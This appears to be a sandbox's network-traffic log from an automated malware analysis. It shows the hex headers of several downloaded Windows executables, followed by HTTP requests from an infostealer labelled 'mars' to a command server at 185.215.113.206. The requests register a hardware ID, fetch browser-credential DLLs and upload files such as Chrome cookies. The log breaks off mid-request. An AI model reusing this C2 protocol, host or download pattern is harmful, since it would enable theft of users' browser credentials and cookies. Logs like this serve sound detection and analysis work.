00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 07:57:14 GMTContent-Type: application/octet-streamContent-Length: 1833472Last-Modified: Mon, 18 Nov 2024 07:41:13 GMTConnection: keep-aliveETag: "673aef99-1bfa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 90 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6a 00 00 04 00 00 8b 19 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 74 71 65 70 76 73 7a 00 60 1a 00 00 20 50 00 00 5c 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 72 6c 6f 67 62 64 6d 00 10 00 00 00 80 6a 00 00 04 00 00 00 d4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6a 00 00 22 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 07:57:19 GMTContent-Type: application/octet-streamContent-Length: 921600Last-Modified: Mon, 18 Nov 2024 07:39:20 GMTConnection: keep-aliveETag: "673aef28-e1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 20 ef 3a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 60 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 0c a8 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 9c a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c a4 00 00 00 40 0d 00 00 a6 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9a 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 07:57:24 GMTContent-Type: application/octet-streamContent-Length: 2755072Last-Modified: Mon, 18 Nov 2024 07:39:47 GMTConnection: keep-aliveETag: "673aef43-2a0a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 15 16 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 62 6b 63 6a 70 61 6b 00 c0 29 00 00 a0 00 00 00 a8 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6f 71 74 71 74 71 75 00 20 00 00 00 60 2a 00 00 06 00 00 00 e2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 e8 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 34 41 43 43 45 32 33 45 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="hwid"AD4ACCE23E653001675293------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="build"mars------JDBKJJKEBGHIDGCBKJJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="message"browsers------ECFCBKJDBFIJKFHIIDAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"plugins------HCFBKKEBKEBGIDHIEHCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="message"fplugins------EBGDAAKJJDAAKFHJKJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFHost: 185.215.113.206Content-Length: 6459Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EGCFHDAKECFIDGDGDBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIEGHJEGIDGCAFBFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 2d 2d 0d 0a Data Ascii: ------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="file"------EGDGIEGHJEGIDGCAFBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHIHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 2d 2d 0d 0a Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="file"------FBFCAKKKFBGDGCAKFCFH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJDHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 